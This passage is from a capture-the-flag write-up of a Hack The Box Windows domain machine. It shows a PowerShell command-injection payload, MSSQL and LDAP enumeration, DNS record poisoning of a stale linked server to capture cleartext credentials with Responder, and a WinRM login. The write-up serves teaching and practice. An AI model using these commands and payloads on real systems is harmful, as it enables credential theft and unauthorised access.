          <span class="n">runspace</span><span class="p">.</span><span class="nf">Close</span><span class="p">();</span>
          <span class="n">StringBuilder</span> <span class="n">stringBuilder</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">StringBuilder</span><span class="p">();</span>
          <span class="k">foreach</span> <span class="p">(</span><span class="n">PSObject</span> <span class="n">psObject</span> <span class="k">in</span> <span class="n">collection</span><span class="p">)</span>
            <span class="n">stringBuilder</span><span class="p">.</span><span class="nf">AppendLine</span><span class="p">(</span><span class="n">psObject</span><span class="p">.</span><span class="nf">ToString</span><span class="p">());</span>
          <span class="k">return</span> <span class="n">stringBuilder</span><span class="p">.</span><span class="nf">ToString</span><span class="p">();</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">catch</span> <span class="p">(</span><span class="n">Exception</span> <span class="n">ex</span><span class="p">)</span>
    <span class="p">{</span>
      <span class="k">return</span> <span class="s">"Error: "</span> <span class="p">+</span> <span class="n">ex</span><span class="p">.</span><span class="n">Message</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>It creates a string, <code class="language-plaintext highlighter-rouge">scriptContents</code> by concatenating text with the input <code class="language-plaintext highlighter-rouge">processName</code> variable, and then runs that as a PowerShell command. PowerShell uses <code class="language-plaintext highlighter-rouge">;</code> as a statement separator, so a <code class="language-plaintext highlighter-rouge">processName</code> of <code class="language-plaintext highlighter-rouge">x; whoami #</code> becomes <code class="language-plaintext highlighter-rouge">Stop-Process -Name x; whoami # -Force</code>, two statements where <code class="language-plaintext highlighter-rouge">whoami</code> runs and the trailing <code class="language-plaintext highlighter-rouge">-Force</code> is swallowed by the comment. I’ll come back to this for root.</p>

<h4 id="validate">Validate</h4>

<p>I’ll check the creds from the binary on MSSQL with <code class="language-plaintext highlighter-rouge">netexec</code> and they work:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql 10.129.244.81 <span class="nt">--port</span> 6520 <span class="nt">-u</span> sqlsvc <span class="nt">-p</span> TI0LKcfHzZw1Vv 
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.244.81   6520   S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) (EncryptionReq:False)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.244.81   6520   S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv 
</span></code></pre></div></div>

<h3 id="authenticated-enumeration">Authenticated Enumeration</h3>

<h4 id="database">Database</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">mssqlclient.py</code> to get access. The session opens with <code class="language-plaintext highlighter-rouge">OVERWATCH\sqlsvc</code> mapped to the <code class="language-plaintext highlighter-rouge">guest</code> role on <code class="language-plaintext highlighter-rouge">master</code>, meaning the login has no explicit user mapping in <code class="language-plaintext highlighter-rouge">master</code> and is falling back to the low-privilege <code class="language-plaintext highlighter-rouge">guest</code> account:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>mssqlclient.py overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@S200401.overwatch.htb <span class="nt">-p</span> 6520 <span class="nt">-windows-auth</span>
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
</span><span class="gp">SQL (OVERWATCH\sqlsvc  guest@master)&gt;</span><span class="w">
</span></code></pre></div></div>

<p>There’s one non-standard database, <code class="language-plaintext highlighter-rouge">overwatch</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (OVERWATCH\sqlsvc  guest@master)&gt;</span><span class="w"> </span>enum_db
<span class="go">name        is_trustworthy_on   
---------   -----------------   
master                      0   
tempdb                      0   
model                       0   
msdb                        1   
overwatch                   0 
</span></code></pre></div></div>

<p>It has one table:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (OVERWATCH\sqlsvc  guest@master)&gt;</span><span class="w"> </span>use overwatch<span class="p">;</span>
<span class="go">ENVCHANGE(DATABASE): Old Value: master, New Value: overwatch
INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'overwatch'.
</span><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span><span class="k">select </span>name from sys.tables<span class="p">;</span>
<span class="go">name       
--------   
Eventlog   
</span></code></pre></div></div>

<p>It’s empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">EventLog</span><span class="p">;</span>
<span class="go">Id   Timestamp   EventType   Details   
--   ---------   ---------   ------- 
</span></code></pre></div></div>

<p>There’s no impersonation, or interesting logins, owner, or user:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span>enum_impersonate
<span class="go">execute as   database   permission_name   state_desc   grantee   grantor   
----------   --------   ---------------   ----------   -------   -------   
</span><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span>enum_logins
<span class="go">name               type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
----------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa                 SQL_LOGIN                 1          1               0             0            0              0           0           0           0   
BUILTIN\Users      WINDOWS_GROUP             0          0               0             0            0              0           0           0           0   
OVERWATCH\sqlsvc   WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0   
</span><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span>enum_owner
<span class="go">Database    Owner              
---------   ----------------   
master      sa                 
tempdb      sa                 
model       sa                 
msdb        sa                 
overwatch   OVERWATCH\sqlsvc  
</span><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span>enum_users
<span class="go">UserName             RoleName   LoginName          DefDBName   DefSchemaName       UserID                                                           SID   
------------------   --------   ----------------   ---------   -------------   ----------   -----------------------------------------------------------   
dbo                  db_owner   OVERWATCH\sqlsvc   master      dbo             b'1         '   b'01050000000000051500000002d9b7a6b0b75e51f445f10d50040000'   
guest                public     NULL               NULL        guest           b'2         '                                                         b'00'   
INFORMATION_SCHEMA   public     NULL               NULL        NULL            b'3         '                                                          NULL   
sys                  public     NULL               NULL        NULL            b'4         '                                                          NULL
</span></code></pre></div></div>

<p>There is a linked server, SQL07:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span>enum_links
<span class="go">SRV_NAME             SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE       SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------   ----------------   -----------   ------------------   ------------------   ------------   -------   
S200401\SQLEXPRESS   SQLNCLI            SQL Server    S200401\SQLEXPRESS   NULL                 NULL           NULL      
SQL07                SQLNCLI            SQL Server    SQL07                NULL                 NULL           NULL      
Linked Server   Local Login   Is Self Mapping   Remote Login   
-------------   -----------   ---------------   ------------
</span></code></pre></div></div>

<p>Just like in <a href="/2026/04/04/htb-darkzero.html#linked-servers">DarkZero</a>, I can try to use the linked server to see if the permissions are any different, but it hangs and times out:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span>use_link <span class="o">[</span>SQL07]
<span class="go">INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [53]. 
</span></code></pre></div></div>

<p>It’s unable to find the server. I can try to run a command directly, but it does the same:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (OVERWATCH\sqlsvc  dbo@overwatch)&gt;</span><span class="w"> </span>EXEC <span class="o">(</span><span class="s1">'SELECT SYSTEM_USER'</span><span class="o">)</span> AT <span class="o">[</span>SQL07]<span class="p">;</span>
<span class="go">INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [53]. 
</span></code></pre></div></div>

<h4 id="sql07machine">SQL07Machine</h4>

<p>The SQL07 machine isn’t responding. I can try to look it up from the DC’s DNS:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nslookup SQL07.overwatch.htb S200401.overwatch.htb
<span class="go">Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

** server can't find SQL07.overwatch.htb: NXDOMAIN

</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>nslookup SQL07 S200401.overwatch.htb
<span class="go">;; Got SERVFAIL reply from 10.129.244.81
Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

** server can't find SQL07: SERVFAIL
</span></code></pre></div></div>

<p>It doesn’t have a record. For contrast, if I look up the DC, it returns the IP addresses:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nslookup S200401.overwatch.htb S200401.overwatch.htb
<span class="go">Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

Name:   S200401.overwatch.htb
Address: 10.129.244.81
Name:   S200401.overwatch.htb
Address: dead:beef::85b8:db49:15c3:6302
</span></code></pre></div></div>

<p>LDAP can give a list of computers on the domain:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ldapsearch <span class="nt">-x</span> <span class="nt">-H</span> ldap://overwatch.htb <span class="nt">-D</span> <span class="s1">'sqlsvc@overwatch.htb'</span> <span class="nt">-w</span> <span class="s1">'TI0LKcfHzZw1Vv'</span> <span class="nt">-b</span> <span class="s1">'DC=overwatch,DC=htb'</span> <span class="s1">'(&amp;(objectClass=computer)(!(name=S200401)))'</span> name dNSHostName operatingSystem servicePrincipalName
<span class="c"># extended LDIF
#
# LDAPv3
# base &lt;DC=overwatch,DC=htb&gt; with scope subtree
# filter: (&amp;(objectClass=computer)(!(name=S200401)))
# requesting: name dNSHostName operatingSystem servicePrincipalName 
#
</span><span class="go">
</span><span class="c"># SQL03, Computers, overwatch.htb
</span><span class="go">dn: CN=SQL03,CN=Computers,DC=overwatch,DC=htb
name: SQL03

</span><span class="c"># NB001, Computers, overwatch.htb
</span><span class="go">dn: CN=NB001,CN=Computers,DC=overwatch,DC=htb
name: NB001

</span><span class="c"># NB002, Computers, overwatch.htb
</span><span class="go">dn: CN=NB002,CN=Computers,DC=overwatch,DC=htb
name: NB002

</span><span class="c"># File01, Computers, overwatch.htb
</span><span class="go">dn: CN=File01,CN=Computers,DC=overwatch,DC=htb
name: File01

</span><span class="c"># S200400, Computers, overwatch.htb
</span><span class="go">dn: CN=S200400,CN=Computers,DC=overwatch,DC=htb
name: S200400

</span><span class="c"># search reference
</span><span class="go">ref: ldap://ForestDnsZones.overwatch.htb/DC=ForestDnsZones,DC=overwatch,DC=htb

</span><span class="c"># search reference
</span><span class="go">ref: ldap://DomainDnsZones.overwatch.htb/DC=DomainDnsZones,DC=overwatch,DC=htb

</span><span class="c"># search reference
</span><span class="go">ref: ldap://overwatch.htb/CN=Configuration,DC=overwatch,DC=htb

</span><span class="c"># search result
</span><span class="go">search: 2
result: 0 Success

</span><span class="c"># numResponses: 9
# numEntries: 5
# numReferences: 3
</span></code></pre></div></div>

<p>It finds a few, but no SQL07. There is an SQL03. Maybe it moved and the link hasn’t been updated yet.</p>

<h4 id="sqlsvc-account">sqlsvc Account</h4>

<p>Another thing to check is what ACLs the sqlsvc account has. <code class="language-plaintext highlighter-rouge">bloodyAD</code> has a nice check, <code class="language-plaintext highlighter-rouge">get writable</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>bloodyAD <span class="nt">--host</span> S200401.overwatch.htb <span class="nt">-u</span> sqlsvc <span class="nt">-p</span> TI0LKcfHzZw1Vv get writable
<span class="go">
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: CN=sqlsvc,CN=Users,DC=overwatch,DC=htb
permission: WRITE

distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.overwatch.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD
</span></code></pre></div></div>

<p>The first two are noise. <code class="language-plaintext highlighter-rouge">S-1-5-11</code> is the well-known SID for <code class="language-plaintext highlighter-rouge">Authenticated Users</code>, and <code class="language-plaintext highlighter-rouge">WRITE</code> on <code class="language-plaintext highlighter-rouge">CN=sqlsvc</code> is just sqlsvc writing to its own user object. Neither is actionable.</p>

<p>The other two are the interesting ones. Both AD-integrated DNS zone containers (<code class="language-plaintext highlighter-rouge">overwatch.htb</code> in <code class="language-plaintext highlighter-rouge">DomainDnsZones</code> and <code class="language-plaintext highlighter-rouge">_msdcs.overwatch.htb</code> in <code class="language-plaintext highlighter-rouge">ForestDnsZones</code>) allow <code class="language-plaintext highlighter-rouge">CREATE_CHILD</code>, which means I can add <code class="language-plaintext highlighter-rouge">dnsNode</code> objects under them, i.e. write new DNS records into the zones the DC itself answers from. This is the AD-integrated DNS analogue of being a <code class="language-plaintext highlighter-rouge">DnsAdmins</code> member for those zones, without needing the group membership.</p>

<h3 id="recover-password">Recover Password</h3>

<p>The reason <code class="language-plaintext highlighter-rouge">EXEC ... AT [SQL07]</code> failed earlier was that the host for the linked server doesn’t resolve. If I create a record for <code class="language-plaintext highlighter-rouge">SQL07.overwatch.htb</code> that resolves to my VM, the next time the SQL Server tries the linked server, it will dutifully connect (and authenticate) to me, and I can capture or relay the authentication that the SQL Server makes outbound.</p>

<p>I’ll add the record with <code class="language-plaintext highlighter-rouge">bloodyAD</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>bloodyAD <span class="nt">--host</span> S200401.overwatch.htb <span class="nt">-u</span> sqlsvc <span class="nt">-p</span> TI0LKcfHzZw1Vv add dnsRecord SQL07 10.10.14.61
<span class="go">[+] SQL07 has been successfully added
</span></code></pre></div></div>

<p>A few seconds later, it’s there:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nslookup SQL07.overwatch.htb S200401.overwatch.htb
<span class="go">Server:         S200401.overwatch.htb
Address:        10.129.244.81#53

Name:   SQL07.overwatch.htb
Address: 10.10.14.61
</span></code></pre></div></div>

<p>I’ll start <a href="https://github.com/lgandx/Responder">Responder</a>, and run <code class="language-plaintext highlighter-rouge">use_link SQL07</code> from the <code class="language-plaintext highlighter-rouge">mssqlclient.py</code> shell. At Responder:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>uv run /opt/Responder/Responder.py <span class="nt">-I</span> tun0
<span class="go">...[snip]...
[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
</span></code></pre></div></div>

<p>That’s plaintext credentials from the server trying to authenticate to the linked server. That’s because the linked server must have been configured with a stored SQL Authentication remote login (an <code class="language-plaintext highlighter-rouge">sp_addlinkedsrvlogin</code> mapping) rather than Windows auth. With SQL auth, the username and password ride inside the TDS <code class="language-plaintext highlighter-rouge">LOGIN7</code> packet using only a trivial obfuscation (nibble swap plus XOR with <code class="language-plaintext highlighter-rouge">0xA5</code>), which is effectively plaintext on the wire. Responder’s MSSQL listener decodes that automatically. If the link had used Windows auth, I would have gotten an NTLM challenge/response hash instead.</p>

<h3 id="shell">Shell</h3>

<h4 id="remote-management">Remote Management</h4>

<p>A quick <code class="language-plaintext highlighter-rouge">ldapsearch</code> shows that sqlmgmt is in the Remote Management Users group:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ldapsearch <span class="nt">-x</span> <span class="nt">-H</span> ldap://overwatch.htb <span class="nt">-D</span> <span class="s1">'sqlsvc@overwatch.htb'</span> <span class="nt">-w</span> <span class="s1">'TI0LKcfHzZw1Vv'</span> <span class="nt">-b</span> <span class="s1">'DC=overwatch,DC=htb'</span> <span class="s1">'(sAMAccountName=sqlmgmt)'</span> memberOf
<span class="c"># extended LDIF
#
# LDAPv3
# base &lt;DC=overwatch,DC=htb&gt; with scope subtree
# filter: (sAMAccountName=sqlmgmt)
# requesting: memberOf 
#
</span><span class="go">
</span><span class="c"># sqlmgmt, Users, overwatch.htb
</span><span class="go">dn: CN=sqlmgmt,CN=Users,DC=overwatch,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=overwatch,DC=htb

</span><span class="c"># search reference
</span><span class="go">ref: ldap://ForestDnsZones.overwatch.htb/DC=ForestDnsZones,DC=overwatch,DC=htb

</span><span class="c"># search reference
</span><span class="go">ref: ldap://DomainDnsZones.overwatch.htb/DC=DomainDnsZones,DC=overwatch,DC=htb

</span><span class="c"># search reference
</span><span class="go">ref: ldap://overwatch.htb/CN=Configuration,DC=overwatch,DC=htb

</span><span class="c"># search result
</span><span class="go">search: 2
result: 0 Success

</span><span class="c"># numResponses: 5
# numEntries: 1
# numReferences: 3
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">netexec</code> shows it as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm S200401.overwatch.htb <span class="nt">-u</span> sqlmgmt <span class="nt">-p</span> bIhBbzMMnB82yx
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.244.81   5985   S200401          </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 (name:S200401) (domain:overwatch.htb) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.244.81   5985   S200401          </span><span class="netexec-logsuccess">[+]</span><span class="go"> overwatch.htb\sqlmgmt:bIhBbzMMnB82yx </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span></code></pre></div></div>

<h4 id="winrm">WinRM</h4>

<p>I’ll use <a href="https://github.com/adityatelange/evil-winrm-py">evil-winrm-py</a> to get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>evil-winrm-py <span class="nt">-i</span> S200401.overwatch.htb <span class="nt">-u</span> sqlmgmt <span class="nt">-p</span> bIhBbzMMnB82yx
<span class="go">          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'sqlmgmt'
evil-winrm-py PS C:\Users\sqlmgmt\Documents&gt;
</span></code></pre></div></div>

<p>And the user flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\sqlmgmt\Desktop&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">user.txt</span><span class="w">
</span><span class="go">956ab1b5************************
</span></code></pre></div></div>

<h2 id="shell-as-administrator">Shell as Administrator</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="users">Users</h4>

<p>The <code class="language-plaintext highlighter-rouge">sqlmgmt</code> directory is empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\sqlmgmt&gt;</span><span class="w"> </span><span class="n">tree</span><span class="w"> </span><span class="nx">/f</span><span class="w"> </span><span class="o">.</span><span class="w">
</span><span class="go">Folder PATH listing
Volume serial number is 736A-0306
C:\USERS\SQLMGMT
+---Desktop
¦       user.txt
¦       
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos
</span></code></pre></div></div>

<p>There are no other interesting users with accounts in <code class="language-plaintext highlighter-rouge">C:\Users</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\Users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/16/2025   4:06 PM                Administrator
d-r---         5/16/2025   4:06 PM                Public
d-----         5/16/2025   8:08 PM                sqlmgmt  
</span></code></pre></div></div>

<h4 id="filesystem">Filesystem</h4>

<p>The root of <code class="language-plaintext highlighter-rouge">C:\</code> is pretty empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w">
</span><span class="go">
    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         5/16/2025   4:35 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         5/16/2025   8:11 PM                Program Files
d-----         5/16/2025   5:35 PM                Program Files (x86)
d-----         5/16/2025   5:30 PM                SQL2022
d-r---         5/16/2025   8:08 PM                Users
d-----        12/31/2025  11:17 PM                Windows  
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inetpub</code> only has an empty <code class="language-plaintext highlighter-rouge">DeviceHealthAttestation\bin</code> directory, nothing to chase there. The MSSQL installation is at the root, but there’s nothing interesting there. The two <code class="language-plaintext highlighter-rouge">Program Files</code> directories contain some dev tools, but the most interesting thing is <code class="language-plaintext highlighter-rouge">nssm-2.24</code> (the <a href="https://nssm.cc/">Non-Sucking Service Manager</a>), a tool used to wrap arbitrary executables as Windows services. On a server, this almost always means <em>something</em> has been registered as a service through it. Given the WCF <code class="language-plaintext highlighter-rouge">MonitoringService</code> in <code class="language-plaintext highlighter-rouge">overwatch.exe.config</code> and the missing port 8000 listener, NSSM is the most likely candidate for how <code class="language-plaintext highlighter-rouge">overwatch.exe</code> is meant to be run as a service. NSSM service definitions live under <code class="language-plaintext highlighter-rouge">HKLM\SYSTEM\CurrentControlSet\Services\&lt;name&gt;\Parameters</code>.</p>

<p>I’ll grab all the services running under <code class="language-plaintext highlighter-rouge">nssm.exe</code>:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="s1">'HKLM:\SYSTEM\CurrentControlSet\Services'</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">PSPath</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w">  </span><span class="nx">SilentlyContinue</span><span class="p">)</span><span class="o">.</span><span class="nf">ImagePath</span><span class="w"> </span><span class="o">-like</span><span class="w"> </span><span class="s1">'*nssm*'</span><span class="w"> </span><span class="p">}</span><span class="w">
</span><span class="go">
    Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Name                           Property
----                           --------
overwatch                      Type                             : 16
                               Start                            : 2
                               ErrorControl                     : 1
                               ImagePath                        : C:\Program Files\nssm-2.24\win64\nssm.exe
                               DisplayName                      : overwatch
                               ObjectName                       : LocalSystem
                               DelayedAutostart                 : 0
                               FailureActionsOnNonCrashFailures : 1
                               FailureActions                   : {0, 0, 0, 0...}
</span></code></pre></div></div>

<p>There’s only one, named <code class="language-plaintext highlighter-rouge">overwatch</code>. It’s running <code class="language-plaintext highlighter-rouge">overwatch.exe</code> from the <code class="language-plaintext highlighter-rouge">Software</code> directory:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="n">Get-ItemProperty</span><span class="w"> </span><span class="s1">'HKLM:\SYSTEM\CurrentControlSet\Services\overwatch\Parameters'</span><span class="w">
</span><span class="go">
Application   : C:\Software\Monitoring\overwatch.exe
AppParameters : 
AppDirectory  : C:\Software\Monitoring
PSPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\
                CurrentControlSet\Services\overwatch\Parameters
PSParentPath  : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\
                CurrentControlSet\Services\overwatch
PSChildName   : Parameters
PSDrive       : HKLM
PSProvider    : Microsoft.PowerShell.Core\Registry
</span></code></pre></div></div>

<h4 id="overwatch">Overwatch</h4>

<p><code class="language-plaintext highlighter-rouge">Software</code> didn’t show up in the <code class="language-plaintext highlighter-rouge">ls</code> above because it’s hidden:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="nt">-force</span><span class="w">
</span><span class="go">
    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs-          5/8/2021   1:20 AM                $Recycle.Bin
d--h--        12/31/2025  10:46 PM                $WinREAgent
d--hs-         5/16/2025   5:37 PM                Config.Msi
d--hsl         5/16/2025  11:05 PM                Documents and Settings
d-----         5/16/2025   4:35 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         5/16/2025   8:11 PM                Program Files
d-----         5/16/2025   5:35 PM                Program Files (x86)
d--h--        12/31/2025  10:46 PM                ProgramData
d--hs-         5/16/2025  11:05 PM                Recovery
d--h--         5/16/2025   6:27 PM                Software
d-----         5/16/2025   5:30 PM                SQL2022
d--hs-          7/1/2025   9:39 AM                System Volume Information
d-r---         5/16/2025   8:08 PM                Users
d-----        12/31/2025  11:17 PM                Windows
-a-hs-         4/24/2026   3:13 PM          12288 DumpStack.log.tmp
-a-hs-         4/24/2026   3:13 PM      738197504 pagefile.sys  
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">d--h--</code> shows it’s a directory and it’s hidden. Inside <code class="language-plaintext highlighter-rouge">Software\Monitoring</code> is the full application, also hidden:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Software\Monitoring&gt;</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="nt">-force</span><span class="w">
</span><span class="go">
    Directory: C:\Software\Monitoring

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--h--         5/16/2025   6:32 PM                x64
d--h--         5/16/2025   6:32 PM                x86
-a-h--         4/16/2020   1:38 PM        4991352 EntityFramework.dll
-a-h--         4/16/2020   1:38 PM         591752 EntityFramework.SqlServer.dll
-a-h--         4/16/2020   1:38 PM         163193 EntityFramework.SqlServer.xml
-a-h--         4/16/2020   1:38 PM        3738289 EntityFramework.xml
-a-h--         7/17/2017   7:46 AM          36864 Microsoft.Management.Infrastructure.dll
-a-h--         5/16/2025   6:19 PM           9728 overwatch.exe
-a-h--         5/16/2025   6:02 PM           2163 overwatch.exe.config
-a-h--         5/16/2025   6:19 PM          30208 overwatch.pdb
-a-h--         9/29/2024   1:41 PM         450232 System.Data.SQLite.dll
-a-h--         9/29/2024   1:40 PM         206520 System.Data.SQLite.EF6.dll
-a-h--         9/29/2024   1:40 PM         206520 System.Data.SQLite.Linq.dll
